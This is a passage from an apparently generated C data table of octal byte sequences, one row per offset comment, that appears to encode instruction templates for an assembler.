/* 10980 */ 0261,03,01,01,0171,0120,0177,0,
/* 10988 */ 0260,03,01,01,0171,0110,0176,0,
/* 10996 */ 0261,03,05,01,0171,0120,0177,0,
/* 11004 */ 0260,03,05,01,0171,0110,0176,0,
/* 11012 */ 0261,03,021,01,0171,0130,0176,0,
/* 11020 */ 0260,03,021,01,0171,0120,0175,0,
/* 11028 */ 0261,03,025,01,0171,0130,0176,0,
/* 11036 */ 0260,03,025,01,0171,0120,0175,0,
/* 11044 */ 0261,03,01,01,0170,0120,0177,0,
/* 11052 */ 0260,03,01,01,0170,0110,0176,0,
/* 11060 */ 0261,03,05,01,0170,0120,0177,0,
/* 11068 */ 0260,03,05,01,0170,0110,0176,0,
/* 11076 */ 0261,03,021,01,0170,0130,0176,0,
/* 11084 */ 0260,03,021,01,0170,0120,0175,0,
/* 11092 */ 0261,03,025,01,0170,0130,0176,0,
/* 11100 */ 0260,03,025,01,0170,0120,0175,0,
/* 11108 */ 0261,03,01,01,0173,0120,0177,0,
/* 11116 */ 0260,03,01,01,0173,0110,0176,0,
/* 11124 */ 0261,03,021,01,0173,0130,0176,0,
/* 11132 */ 0260,03,021,01,0173,0120,0175,0,
/* 11140 */ 0261,03,01,01,0172,0120,0177,0,
/* 11148 */ 0260,03,01,01,0172,0110,0176,0,
/* 11156 */ 0261,03,021,01,0172,0130,0176,0,
/* 11164 */ 0260,03,021,01,0172,0120,0175,0,
/* 11172 */ 0261,03,01,01,0175,0120,0177,0,
/* 11180 */ 0260,03,01,01,0175,0110,0176,0,
/* 11188 */ 0261,03,05,01,0175,0120,0177,0,
/* 11196 */ 0260,03,05,01,0175,0110,0176,0,
/* 11204 */ 0261,03,021,01,0175,0130,0176,0,
/* 11212 */ 0260,03,021,01,0175,0120,0175,0,
/* 11220 */ 0261,03,025,01,0175,0130,0176,0,
/* 11228 */ 0260,03,025,01,0175,0120,0175,0,
/* 11236 */ 0261,03,01,01,0174,0120,0177,0,
/* 11244 */ 0260,03,01,01,0174,0110,0176,0,
/* 11252 */ 0261,03,05,01,0174,0120,0177,0,
/* 11260 */ 0260,03,05,01,0174,0110,0176,0,
/* 11268 */ 0261,03,021,01,0174,0130,0176,0,
/* 11276 */ 0260,03,021,01,0174,0120,0175,0,
/* 11284 */ 0261,03,025,01,0174,0130,0176,0,
/* 11292 */ 0260,03,025,01,0174,0120,0175,0,
/* 11300 */ 0261,03,01,01,0177,0120,0177,0,
/* 11308 */ 0260,03,01,01,0177,0110,0176,0,
/* 11316 */ 0261,03,021,01,0177,0130,0176,0,
/* 11324 */ 0260,03,021,01,0177,0120,0175,0,
/* 11332 */ 0261,03,01,01,0176,0120,0177,0,
/* 11340 */ 0260,03,01,01,0176,0110,0176,0,
/* 11348 */ 0261,03,021,01,0176,0130,0176,0,
/* 11356 */ 0260,03,021,01,0176,0120,0175,0,
/* 11364 */ 0261,0110,0,01,0242,0120,0177,0,
/* 11372 */ 0260,0110,0,01,0242,0110,0176,0,
/* 11380 */ 0261,0110,04,01,0242,0120,0177,0,
/* 11388 */ 0260,0110,04,01,0242,0110,0176,0,
/* 11396 */ 0261,0110,020,01,0242,0130,0176,0,
/* 11404 */ 0260,0110,020,01,0242,0120,0175,0,
/* 11412 */ 0261,0110,024,01,0242,0130,0176,0,
/* 11420 */ 0260,0110,024,01,0242,0120,0175,0,
/* 11428 */ 0261,0110,0,01,0314,0120,023,0,
/* 11436 */ 0260,0110,0,01,0314,0110,022,0,
/* 11444 */ 0261,0110,0,01,0316,0120,023,0,
/* 11452 */ 0260,0110,0,01,0316,0110,022,0,
/* 11460 */ 0261,0110,0,01,0317,0120,023,0,
/* 11468 */ 0260,0110,0,01,0317,0110,022,0,
/* 11476 */ 0261,0110,0,01,0354,0120,023,0,
/* 11484 */ 0260,0110,0,01,0354,0110,022,0,
/* 11492 */ 0261,0110,0,01,0356,0120,023,0,
/* 11500 */ 0260,0110,0,01,0356,0110,022,0,
/* 11508 */ 0261,0110,0,01,0357,0120,023,0,
/* 11516 */ 0260,0110,0,01,0357,0110,022,0,
/* 11524 */ 0261,0110,0,01,0355,0120,023,0,
/* 11532 */ 0260,0110,0,01,0355,0110,022,0,
/* 11540 */ 0261,0110,0,01,0315,0120,023,0,
/* 11548 */ 0260,0110,0,01,0315,0110,022,0,
/* 11556 */ 0261,0110,0,01,0236,0120,0177,0,
/* 11564 */ 0260,0110,0,01,0236,0110,0176,0,
/* 11572 */ 0261,0110,0,01,0237,0120,0177,0,
/* 11580 */ 0260,0110,0,01,0237,0110,0176,0,
/* 11588 */ 0261,0110,0,01,0227,0120,0177,0,
/* 11596 */ 0260,0110,0,01,0227,0110,0176,0,
/* 11604 */ 0261,0110,0,01,0216,0120,0177,0,
/* 11612 */ 0260,0110,0,01,0216,0110,0176,0,
/* 11620 */ 0261,0110,0,01,0217,0120,0177,0,
/* 11628 */ 0260,0110,0,01,0217,0110,0176,0,
/* 11636 */ 0261,0110,0,01,0207,0120,0177,0,
/* 11644 */ 0260,0110,0,01,0207,0110,0176,0,
/* 11652 */ 0261,0110,0,01,0206,0120,0177,0,
/* 11660 */ 0260,0110,0,01,0206,0110,0176,0,
/* 11668 */ 0261,0110,0,01,0205,0120,0177,0,
/* 11676 */ 0260,0110,0,01,0205,0110,0176,0,
/* 11684 */ 0261,0110,0,01,0226,0120,0177,0,
/* 11692 */ 0260,0110,0,01,0226,0110,0176,0,
/* 11700 */ 0261,0110,0,01,0225,0120,0177,0,
/* 11708 */ 0260,0110,0,01,0225,0110,0176,0,
/* 11716 */ 0261,0110,0,01,0246,0120,0177,0,
/* 11724 */ 0260,0110,0,01,0246,0110,0176,0,
/* 11732 */ 0261,0110,0,01,0266,0120,0177,0,
/* 11740 */ 0260,0110,0,01,0266,0110,0176,0,
/* 11748 */ 0261,0110,020,01,0243,0130,0176,0,
/* 11756 */ 0260,0110,020,01,0243,0120,0175,0,
/* 11764 */ 0261,0110,0,01,0243,0120,0177,0,
/* 11772 */ 0260,0110,0,01,0243,0110,0176,0,
/* 11780 */ 0270,0110,0,01,0300,0110,022,0,
/* 11788 */ 0270,0110,0,01,0300,0100,021,0,
/* 11796 */ 0270,0110,0,01,0302,0110,022,0,
/* 11804 */ 0270,0110,0,01,0302,0100,021,0,
/* 11812 */ 0270,0110,0,01,0303,0110,022,0,
/* 11820 */ 0270,0110,0,01,0303,0100,021,0,
/* 11828 */ 0270,0110,0,01,0301,0110,022,0,
/* 11836 */ 0270,0110,0,01,0301,0100,021,0,
/* 11844 */ 0261,03,045,01,0102,0120,023,0,
/* 11852 */ 0260,03,045,01,0102,0110,022,0,
/* 11860 */ 0261,03,045,01,017,0120,023,0,
/* 11868 */ 0260,03,045,01,017,0110,022,0,
/* 11876 */ 0261,03,045,01,0114,0120,0177,0,
/* 11884 */ 0260,03,045,01,0114,0110,0176,0,
/* 11892 */ 0261,03,045,01,016,0120,023,0,
/* 11900 */ 0260,03,045,01,016,0110,022,0,
/* 11908 */ 0270,01,045,01,0160,0110,022,0,
/* 11916 */ 0270,01,046,01,0160,0110,022,0,
/* 11924 */ 0270,01,047,01,0160,0110,022,0,
/* 11932 */ 0260,01,045,01,0163,0217,022,0,
/* 11940 */ 0260,01,045,01,0163,0207,021,0,
/* 11948 */ 0260,01,045,01,0161,0216,022,0,
/* 11956 */ 0260,01,045,01,0161,0206,021,0,
/* 11964 */ 0260,01,045,01,0162,0216,022,0,
/* 11972 */ 0260,01,045,01,0162,0206,021,0,
/* 11980 */ 0260,01,045,01,0163,0216,022,0,
/* 11988 */ 0260,01,045,01,0163,0206,021,0,
/* 11996 */ 0260,01,045,01,0161,0214,022,0,
/* 12004 */ 0260,01,045,01,0161,0204,021,0,
/* 12012 */ 0260,01,045,01,0162,0214,022,0,
/* 12020 */ 0260,01,045,01,0162,0204,021,0,
/* 12028 */ 0260,01,045,01,0163,0213,022,0,
/* 12036 */ 0260,01,045,01,0163,0203,021,0,
/* 12044 */ 0260,01,045,01,0161,0212,022,0,
/* 12052 */ 0260,01,045,01,0161,0202,021,0,
/* 12060 */ 0260,01,045,01,0162,0212,022,0,
/* 12068 */ 0260,01,045,01,0162,0202,021,0,
/* 12076 */ 0260,01,045,01,0163,0212,022,0,
/* 12084 */ 0260,01,045,01,0163,0202,021,0,
/* 12092 */ 0261,03,01,01,02,0120,023,0,
/* 12100 */ 0260,03,01,01,02,0110,022,0,
/* 12108 */ 0261,03,05,01,02,0120,023,0,
/* 12116 */ 0260,03,05,01,02,0110,022,0,
/* 12124 */ 0270,03,025,01,01,0110,022,0,
/* 12132 */ 0270,03,025,01,0,0110,022,0,
/* 12140 */ 0261,03,05,01,0106,0120,023,0,
/* 12148 */ 0260,03,05,01,0106,0110,022,0,
/* 12156 */ 0270,03,05,01,071,0101,022,0,
/* 12164 */ 0261,03,05,01,070,0120,023,0,
/* 12172 */ 0260,03,05,01,070,0110,022,0,
/* 12180 */ 0374,0262,02,021,01,0222,0110,0,
/* 12188 */ 0374,0262,02,021,01,0223,0110,0,
/* 12196 */ 0374,0262,02,025,01,0222,0110,0,
/* 12204 */ 0375,0262,02,025,01,0223,0110,0,
/* 12212 */ 0374,0262,02,01,01,0222,0110,0,
/* 12220 */ 0374,0262,02,01,01,0223,0110,0,
/* 12228 */ 0375,0262,02,05,01,0222,0110,0,
/* 12236 */ 0375,0262,02,05,01,0223,0110,0,
/* 12244 */ 0374,0262,02,01,01,0220,0110,0,
/* 12252 */ 0374,0262,02,01,01,0221,0110,0,
/* 12260 */ 0375,0262,02,05,01,0220,0110,0,
/* 12268 */ 0375,0262,02,05,01,0221,0110,0,
/* 12276 */ 0374,0262,02,021,01,0220,0110,0,
/* 12284 */ 0374,0262,02,021,01,0221,0110,0,
/* 12292 */ 0374,0262,02,025,01,0220,0110,0,
/* 12300 */ 0375,0262,02,025,01,0221,0110,0,
/* 12308 */ 0270,0112,0,01,020,0110,042,0,
/* 12316 */ 0270,0112,020,01,020,0110,042,0,
/* 12324 */ 0270,03,03,01,0360,0110,022,0,
/* 12332 */ 0270,03,023,01,0360,0110,022,0,
/* 12340 */ 0270,03,01,01,062,0110,022,0,
/* 12348 */ 0270,03,01,01,063,0110,022,0,
/* 12356 */ 0270,03,021,01,063,0110,022,0,
/* 12364 */ 0270,03,021,01,062,0110,022,0,
/* 12372 */ 0270,03,01,01,060,0110,022,0,
/* 12380 */ 0270,03,01,01,061,0110,022,0,
/* 12388 */ 0270,03,021,01,061,0110,022,0,
/* 12396 */ 0270,03,021,01,060,0110,022,0,
/* 12404 */ 0241,0201,021,0301,01,0130,0120,0,
/* 12412 */ 0240,0201,021,0301,01,0130,0110,0,
/* 12420 */ 0241,0201,025,0301,01,0130,0120,0,
/* 12428 */ 0240,0201,025,0301,01,0130,0110,0,
/* 12436 */ 0241,0201,031,0301,01,0130,0120,0,
/* 12444 */ 0240,0201,031,0301,01,0130,0110,0,
/* 12452 */ 0241,0201,0,0301,01,0130,0120,0,
/* 12460 */ 0240,0201,0,0301,01,0130,0110,0,
/* 12468 */ 0241,0201,04,0301,01,0130,0120,0,
/* 12476 */ 0240,0201,04,0301,01,0130,0110,0,
/* 12484 */ 0241,0201,010,0301,01,0130,0120,0,
/* 12492 */ 0240,0201,010,0301,01,0130,0110,0,
/* 12500 */ 0241,0201,023,0306,01,0130,0120,0,
/* 12508 */ 0240,0201,023,0306,01,0130,0110,0,
/* 12516 */ 0241,0201,02,0306,01,0130,0120,0,
/* 12524 */ 0240,0201,02,0306,01,0130,0110,0,
/* 12532 */ 0241,0201,021,0301,01,0125,0120,0,
/* 12540 */ 0240,0201,021,0301,01,0125,0110,0,
/* 12548 */ 0241,0201,025,0301,01,0125,0120,0,
/* 12556 */ 0240,0201,025,0301,01,0125,0110,0,
/* 12564 */ 0241,0201,031,0301,01,0125,0120,0,
/* 12572 */ 0240,0201,031,0301,01,0125,0110,0,
/* 12580 */ 0241,0201,0,0301,01,0125,0120,0,
/* 12588 */ 0240,0201,0,0301,01,0125,0110,0,
/* 12596 */ 0241,0201,04,0301,01,0125,0120,0,
/* 12604 */ 0240,0201,04,0301,01,0125,0110,0,
/* 12612 */ 0241,0201,010,0301,01,0125,0120,0,
/* 12620 */ 0240,0201,010,0301,01,0125,0110,0,
/* 12628 */ 0241,0201,021,0301,01,0124,0120,0,
/* 12636 */ 0240,0201,021,0301,01,0124,0110,0,
/* 12644 */ 0241,0201,025,0301,01,0124,0120,0,
/* 12652 */ 0240,0201,025,0301,01,0124,0110,0,
/* 12660 */ 0241,0201,031,0301,01,0124,0120,0,
/* 12668 */ 0240,0201,031,0301,01,0124,0110,0,
/* 12676 */ 0241,0201,0,0301,01,0124,0120,0,
/* 12684 */ 0240,0201,0,0301,01,0124,0110,0,
/* 12692 */ 0241,0201,04,0301,01,0124,0120,0,
/* 12700 */ 0240,0201,04,0301,01,0124,0110,0,
/* 12708 */ 0241,0201,010,0301,01,0124,0120,0,
/* 12716 */ 0240,0201,010,0301,01,0124,0110,0,
/* 12724 */ 0241,0202,021,0301,01,0145,0120,0,
/* 12732 */ 0241,0202,025,0301,01,0145,0120,0,
/* 12740 */ 0241,0202,031,0301,01,0145,0120,0,
/* 12748 */ 0241,0202,01,0301,01,0145,0120,0,
/* 12756 */ 0241,0202,05,0301,01,0145,0120,0,
/* 12764 */ 0241,0202,011,0301,01,0145,0120,0,
/* 12772 */ 0250,0202,05,0311,01,031,0110,0,
/* 12780 */ 0250,0202,011,0311,01,031,0110,0,
/* 12788 */ 0250,0202,05,0312,01,032,0110,0,
/* 12796 */ 0250,0202,011,0312,01,032,0110,0,
/* 12804 */ 0250,0202,011,0313,01,033,0110,0,
/* 12812 */ 0250,0202,025,0311,01,032,0110,0,
/* 12820 */ 0250,0202,031,0311,01,032,0110,0,
/* 12828 */ 0250,0202,031,0312,01,033,0110,0,
/* 12836 */ 0250,0202,01,0311,01,0131,0110,0,
/* 12844 */ 0250,0202,05,0311,01,0131,0110,0,
/* 12852 */ 0250,0202,011,0311,01,0131,0110,0,
/* 12860 */ 0250,0202,05,0312,01,0132,0110,0,
/* 12868 */ 0250,0202,011,0312,01,0132,0110,0,
/* 12876 */ 0250,0202,011,0313,01,0133,0110,0,
/* 12884 */ 0250,0202,025,0311,01,0132,0110,0,
/* 12892 */ 0250,0202,031,0311,01,0132,0110,0,
/* 12900 */ 0250,0202,031,0312,01,0133,0110,0,
/* 12908 */ 0250,0202,025,0306,01,031,0110,0,
/* 12916 */ 0250,0202,031,0306,01,031,0110,0,
/* 12924 */ 0250,0202,025,0300,01,031,0110,0,
/* 12932 */ 0250,0202,031,0300,01,031,0110,0,
/* 12940 */ 0250,0202,01,0306,01,030,0110,0,
/* 12948 */ 0250,0202,05,0306,01,030,0110,0,
/* 12956 */ 0250,0202,011,0306,01,030,0110,0,
/* 12964 */ 0250,0202,01,0300,01,030,0110,0,
/* 12972 */ 0250,0202,05,0300,01,030,0110,0,
/* 12980 */ 0250,0202,011,0300,01,030,0110,0,
/* 12988 */ 0250,0201,021,0306,01,057,0110,0,
/* 12996 */ 0250,0201,0,0306,01,057,0110,0,
/* 13004 */ 0250,0202,021,0306,01,0212,0101,0,
/* 13012 */ 0250,0202,025,0306,01,0212,0101,0,
/* 13020 */ 0250,0202,031,0306,01,0212,0101,0,
/* 13028 */ 0250,0202,021,0300,01,0212,0101,0,
/* 13036 */ 0250,0202,025,0300,01,0212,0101,0,
/* 13044 */ 0250,0202,031,0300,01,0212,0101,0,
/* 13052 */ 0250,0202,01,0306,01,0212,0101,0,
/* 13060 */ 0250,0202,05,0306,01,0212,0101,0,
/* 13068 */ 0250,0202,011,0306,01,0212,0101,0,
/* 13076 */ 0250,0202,01,0300,01,0212,0101,0,
/* 13084 */ 0250,0202,05,0300,01,0212,0101,0,
/* 13092 */ 0250,0202,011,0300,01,0212,0101,0,
/* 13100 */ 0250,0201,02,0302,01,0346,0110,0,
/* 13108 */ 0250,0201,06,0302,01,0346,0110,0,
/* 13116 */ 0250,0201,012,0302,01,0346,0110,0,
/* 13124 */ 0250,0201,0,0301,01,0133,0110,0,
/* 13132 */ 0250,0201,04,0301,01,0133,0110,0,
/* 13140 */ 0250,0201,010,0301,01,0133,0110,0,
/* 13148 */ 0250,0201,023,0301,01,0346,0110,0,
/* 13156 */ 0250,0201,027,0301,01,0346,0110,0,
/* 13164 */ 0250,0201,033,0301,01,0346,0110,0,
/* 13172 */ 0250,0201,021,0301,01,0132,0110,0,
/* 13180 */ 0250,0201,025,0301,01,0132,0110,0,
/* 13188 */ 0250,0201,031,0301,01,0132,0110,0,
/* 13196 */ 0250,0201,021,0301,01,0173,0110,0,
/* 13204 */ 0250,0201,025,0301,01,0173,0110,0,
/* 13212 */ 0250,0201,031,0301,01,0173,0110,0,
/* 13220 */ 0250,0201,020,0301,01,0171,0110,0,
/* 13228 */ 0250,0201,024,0301,01,0171,0110,0,
/* 13236 */ 0250,0201,030,0301,01,0171,0110,0,
/* 13244 */ 0250,0201,021,0301,01,0171,0110,0,
/* 13252 */ 0250,0201,025,0301,01,0171,0110,0,
/* 13260 */ 0250,0201,031,0301,01,0171,0110,0,
/* 13268 */ 0250,0202,01,0314,01,023,0110,0,
/* 13276 */ 0250,0202,05,0314,01,023,0110,0,
/* 13284 */ 0250,0202,011,0314,01,023,0110,0,
/* 13292 */ 0250,0201,01,0301,01,0133,0110,0,
/* 13300 */ 0250,0201,05,0301,01,0133,0110,0,
/* 13308 */ 0250,0201,011,0301,01,0133,0110,0,
/* 13316 */ 0250,0201,0,0302,01,0132,0110,0,
/* 13324 */ 0250,0201,04,0302,01,0132,0110,0,
/* 13332 */ 0250,0201,010,0302,01,0132,0110,0,
/* 13340 */ 0250,0201,01,0302,01,0173,0110,0,
/* 13348 */ 0250,0201,05,0302,01,0173,0110,0,
/* 13356 */ 0250,0201,011,0302,01,0173,0110,0,
/* 13364 */ 0250,0201,0,0301,01,0171,0110,0,
/* 13372 */ 0250,0201,04,0301,01,0171,0110,0,
/* 13380 */ 0250,0201,010,0301,01,0171,0110,0,
/* 13388 */ 0250,0201,01,0302,01,0171,0110,0,
/* 13396 */ 0250,0201,05,0302,01,0171,0110,0,
/* 13404 */ 0250,0201,011,0302,01,0171,0110,0,
/* 13412 */ 0250,0201,022,0301,01,0346,0110,0,
/* 13420 */ 0250,0201,026,0301,01,0346,0110,0,
/* 13428 */ 0250,0201,032,0301,01,0346,0110,0,
/* 13436 */ 0250,0201,020,0301,01,0133,0110,0,
/* 13444 */ 0250,0201,024,0301,01,0133,0110,0,
/* 13452 */ 0250,0201,030,0301,01,0133,0110,0,
/* 13460 */ 0250,0201,03,0310,01,055,0110,0,
/* 13468 */ 0250,0201,023,0310,01,055,0110,0,
/* 13476 */ 0241,0201,023,0306,01,0132,0120,0,
/* 13484 */ 0250,0201,03,0310,01,0171,0110,0,
/* 13492 */ 0250,0201,023,0310,01,0171,0110,0,
/* 13500 */ 0241,0201,03,0306,01,052,0120,0,
/* 13508 */ 0241,0201,023,0306,01,052,0120,0,
/* 13516 */ 0241,0201,02,0306,01,052,0120,0,
/* 13524 */ 0241,0201,022,0306,01,052,0120,0,
/* 13532 */ 0241,0201,02,0306,01,0132,0120,0,
/* 13540 */ 0250,0201,02,0307,01,055,0110,0,
/* 13548 */ 0250,0201,022,0307,01,055,0110,0,
/* 13556 */ 0250,0201,02,0307,01,0171,0110,0,
/* 13564 */ 0250,0201,022,0307,01,0171,0110,0,
/* 13572 */ 0250,0201,021,0301,01,0346,0110,0,
/* 13580 */ 0250,0201,025,0301,01,0346,0110,0,
/* 13588 */ 0250,0201,031,0301,01,0346,0110,0,
/* 13596 */ 0250,0201,021,0301,01,0172,0110,0,
/* 13604 */ 0250,0201,025,0301,01,0172,0110,0,
/* 13612 */ 0250,0201,031,0301,01,0172,0110,0,
/* 13620 */ 0250,0201,020,0301,01,0170,0110,0,
/* 13628 */ 0250,0201,024,0301,01,0170,0110,0,
/* 13636 */ 0250,0201,030,0301,01,0170,0110,0,
/* 13644 */ 0250,0201,021,0301,01,0170,0110,0,
/* 13652 */ 0250,0201,025,0301,01,0170,0110,0,
/* 13660 */ 0250,0201,031,0301,01,0170,0110,0,
/* 13668 */ 0250,0201,02,0301,01,0133,0110,0,
/* 13676 */ 0250,0201,06,0301,01,0133,0110,0,
/* 13684 */ 0250,0201,012,0301,01,0133,0110,0,
/* 13692 */ 0250,0201,01,0302,01,0172,0110,0,
/* 13700 */ 0250,0201,05,0302,01,0172,0110,0,
/* 13708 */ 0250,0201,011,0302,01,0172,0110,0,
/* 13716 */ 0250,0201,0,0301,01,0170,0110,0,
/* 13724 */ 0250,0201,04,0301,01,0170,0110,0,
/* 13732 */ 0250,0201,010,0301,01,0170,0110,0,
/* 13740 */ 0250,0201,01,0302,01,0170,0110,0,
/* 13748 */ 0250,0201,05,0302,01,0170,0110,0,
/* 13756 */ 0250,0201,011,0302,01,0170,0110,0,
/* 13764 */ 0250,0201,03,0310,01,054,0110,0,
/* 13772 */ 0250,0201,023,0310,01,054,0110,0,
/* 13780 */ 0250,0201,03,0310,01,0170,0110,0,
/* 13788 */ 0250,0201,023,0310,01,0170,0110,0,
/* 13796 */ 0250,0201,02,0307,01,054,0110,0,
/* 13804 */ 0250,0201,022,0307,01,054,0110,0,
/* 13812 */ 0250,0201,02,0307,01,0170,0110,0,
/* 13820 */ 0250,0201,022,0307,01,0170,0110,0,
/* 13828 */ 0250,0201,02,0302,01,0172,0110,0,
/* 13836 */ 0250,0201,06,0302,01,0172,0110,0,
/* 13844 */ 0250,0201,012,0302,01,0172,0110,0,
/* 13852 */ 0250,0201,03,0301,01,0172,0110,0,
/* 13860 */ 0250,0201,07,0301,01,0172,0110,0,
/* 13868 */ 0250,0201,013,0301,01,0172,0110,0,
/* 13876 */ 0250,0201,022,0301,01,0172,0110,0,
/* 13884 */ 0250,0201,026,0301,01,0172,0110,0,
/* 13892 */ 0250,0201,032,0301,01,0172,0110,0,
/* 13900 */ 0250,0201,023,0301,01,0172,0110,0,
/* 13908 */ 0250,0201,027,0301,01,0172,0110,0,
/* 13916 */ 0250,0201,033,0301,01,0172,0110,0,
/* 13924 */ 0241,0201,03,0306,01,0173,0120,0,
/* 13932 */ 0241,0201,023,0306,01,0173,0120,0,
/* 13940 */ 0241,0201,02,0306,01,0173,0120,0,
/* 13948 */ 0241,0201,022,0306,01,0173,0120,0,
/* 13956 */ 0241,0201,021,0301,01,0136,0120,0,
/* 13964 */ 0240,0201,021,0301,01,0136,0110,0,
/* 13972 */ 0241,0201,025,0301,01,0136,0120,0,
/* 13980 */ 0240,0201,025,0301,01,0136,0110,0,
/* 13988 */ 0241,0201,031,0301,01,0136,0120,0,
/* 13996 */ 0240,0201,031,0301,01,0136,0110,0,
/* 14004 */ 0241,0201,0,0301,01,0136,0120,0,
/* 14012 */ 0240,0201,0,0301,01,0136,0110,0,
/* 14020 */ 0241,0201,04,0301,01,0136,0120,0,
/* 14028 */ 0240,0201,04,0301,01,0136,0110,0,
/* 14036 */ 0241,0201,010,0301,01,0136,0120,0,
/* 14044 */ 0240,0201,010,0301,01,0136,0110,0,
/* 14052 */ 0241,0201,023,0306,01,0136,0120,0,
/* 14060 */ 0240,0201,023,0306,01,0136,0110,0,
/* 14068 */ 0241,0201,02,0306,01,0136,0120,0,
/* 14076 */ 0240,0201,02,0306,01,0136,0110,0,
/* 14084 */ 0250,0202,031,0301,01,0310,0110,0,
/* 14092 */ 0250,0202,011,0301,01,0310,0110,0,
/* 14100 */ 0250,0202,021,0306,01,0210,0110,0,
/* 14108 */ 0250,0202,025,0306,01,0210,0110,0,
/* 14116 */ 0250,0202,031,0306,01,0210,0110,0,
/* 14124 */ 0250,0202,01,0306,01,0210,0110,0,
/* 14132 */ 0250,0202,05,0306,01,0210,0110,0,
/* 14140 */ 0250,0202,011,0306,01,0210,0110,0,
/* 14148 */ 0241,0202,021,0301,01,0230,0120,0,
/* 14156 */ 0241,0202,025,0301,01,0230,0120,0,
/* 14164 */ 0241,0202,031,0301,01,0230,0120,0,
/* 14172 */ 0241,0202,01,0301,01,0230,0120,0,
/* 14180 */ 0241,0202,05,0301,01,0230,0120,0,
/* 14188 */ 0241,0202,011,0301,01,0230,0120,0,
/* 14196 */ 0241,0202,021,0306,01,0231,0120,0,
/* 14204 */ 0241,0202,01,0306,01,0231,0120,0,
/* 14212 */ 0241,0202,021,0301,01,0250,0120,0,
/* 14220 */ 0241,0202,025,0301,01,0250,0120,0,
/* 14228 */ 0241,0202,031,0301,01,0250,0120,0,
/* 14236 */ 0241,0202,01,0301,01,0250,0120,0,
/* 14244 */ 0241,0202,05,0301,01,0250,0120,0,
/* 14252 */ 0241,0202,011,0301,01,0250,0120,0,
/* 14260 */ 0241,0202,021,0306,01,0251,0120,0,
/* 14268 */ 0241,0202,01,0306,01,0251,0120,0,
/* 14276 */ 0241,0202,021,0301,01,0270,0120,0,
/* 14284 */ 0241,0202,025,0301,01,0270,0120,0,
/* 14292 */ 0241,0202,031,0301,01,0270,0120,0,
/* 14300 */ 0241,0202,01,0301,01,0270,0120,0,
/* 14308 */ 0241,0202,05,0301,01,0270,0120,0,
/* 14316 */ 0241,0202,011,0301,01,0270,0120,0,
/* 14324 */ 0241,0202,021,0306,01,0271,0120,0,
/* 14332 */ 0241,0202,01,0306,01,0271,0120,0,
/* 14340 */ 0241,0202,021,0301,01,0226,0120,0,
/* 14348 */ 0241,0202,025,0301,01,0226,0120,0,
/* 14356 */ 0241,0202,031,0301,01,0226,0120,0,
/* 14364 */ 0241,0202,01,0301,01,0226,0120,0,
/* 14372 */ 0241,0202,05,0301,01,0226,0120,0,
/* 14380 */ 0241,0202,011,0301,01,0226,0120,0,
/* 14388 */ 0241,0202,021,0301,01,0246,0120,0,
/* 14396 */ 0241,0202,025,0301,01,0246,0120,0,
/* 14404 */ 0241,0202,031,0301,01,0246,0120,0,
/* 14412 */ 0241,0202,01,0301,01,0246,0120,0,
/* 14420 */ 0241,0202,05,0301,01,0246,0120,0,
/* 14428 */ 0241,0202,011,0301,01,0246,0120,0,
/* 14436 */ 0241,0202,021,0301,01,0266,0120,0,
/* 14444 */ 0241,0202,025,0301,01,0266,0120,0,
/* 14452 */ 0241,0202,031,0301,01,0266,0120,0,
/* 14460 */ 0241,0202,01,0301,01,0266,0120,0,
/* 14468 */ 0241,0202,05,0301,01,0266,0120,0,
/* 14476 */ 0241,0202,011,0301,01,0266,0120,0,
/* 14484 */ 0241,0202,021,0301,01,0232,0120,0,
/* 14492 */ 0241,0202,025,0301,01,0232,0120,0,
/* 14500 */ 0241,0202,031,0301,01,0232,0120,0,
/* 14508 */ 0241,0202,01,0301,01,0232,0120,0,
/* 14516 */ 0241,0202,05,0301,01,0232,0120,0,
/* 14524 */ 0241,0202,011,0301,01,0232,0120,0,
/* 14532 */ 0241,0202,021,0306,01,0233,0120,0,
/* 14540 */ 0241,0202,01,0306,01,0233,0120,0,
/* 14548 */ 0241,0202,021,0301,01,0252,0120,0,
/* 14556 */ 0241,0202,025,0301,01,0252,0120,0,
/* 14564 */ 0241,0202,031,0301,01,0252,0120,0,
/* 14572 */ 0241,0202,01,0301,01,0252,0120,0,
/* 14580 */ 0241,0202,05,0301,01,0252,0120,0,
/* 14588 */ 0241,0202,011,0301,01,0252,0120,0,
/* 14596 */ 0241,0202,021,0306,01,0253,0120,0,
/* 14604 */ 0241,0202,01,0306,01,0253,0120,0,
/* 14612 */ 0241,0202,021,0301,01,0272,0120,0,
/* 14620 */ 0241,0202,025,0301,01,0272,0120,0,
/* 14628 */ 0241,0202,031,0301,01,0272,0120,0,
/* 14636 */ 0241,0202,01,0301,01,0272,0120,0,
/* 14644 */ 0241,0202,05,0301,01,0272,0120,0,
/* 14652 */ 0241,0202,011,0301,01,0272,0120,0,
/* 14660 */ 0241,0202,021,0306,01,0273,0120,0,
/* 14668 */ 0241,0202,01,0306,01,0273,0120,0,
/* 14676 */ 0241,0202,021,0301,01,0227,0120,0,
/* 14684 */ 0241,0202,025,0301,01,0227,0120,0,
/* 14692 */ 0241,0202,031,0301,01,0227,0120,0,
/* 14700 */ 0241,0202,01,0301,01,0227,0120,0,
/* 14708 */ 0241,0202,05,0301,01,0227,0120,0,
/* 14716 */ 0241,0202,011,0301,01,0227,0120,0,
/* 14724 */ 0241,0202,021,0301,01,0247,0120,0,
/* 14732 */ 0241,0202,025,0301,01,0247,0120,0,
/* 14740 */ 0241,0202,031,0301,01,0247,0120,0,
/* 14748 */ 0241,0202,01,0301,01,0247,0120,0,
/* 14756 */ 0241,0202,05,0301,01,0247,0120,0,
/* 14764 */ 0241,0202,011,0301,01,0247,0120,0,
/* 14772 */ 0241,0202,021,0301,01,0267,0120,0,
/* 14780 */ 0241,0202,025,0301,01,0267,0120,0,
/* 14788 */ 0241,0202,031,0301,01,0267,0120,0,
/* 14796 */ 0241,0202,01,0301,01,0267,0120,0,
/* 14804 */ 0241,0202,05,0301,01,0267,0120,0,
/* 14812 */ 0241,0202,011,0301,01,0267,0120,0,
/* 14820 */ 0241,0202,021,0301,01,0234,0120,0,
/* 14828 */ 0241,0202,025,0301,01,0234,0120,0,
/* 14836 */ 0241,0202,031,0301,01,0234,0120,0,
/* 14844 */ 0241,0202,01,0301,01,0234,0120,0,
/* 14852 */ 0241,0202,05,0301,01,0234,0120,0,
/* 14860 */ 0241,0202,011,0301,01,0234,0120,0,
/* 14868 */ 0241,0202,021,0306,01,0235,0120,0,
/* 14876 */ 0241,0202,01,0306,01,0235,0120,0,
/* 14884 */ 0241,0202,021,0301,01,0254,0120,0,
/* 14892 */ 0241,0202,025,0301,01,0254,0120,0,
/* 14900 */ 0241,0202,031,0301,01,0254,0120,0,
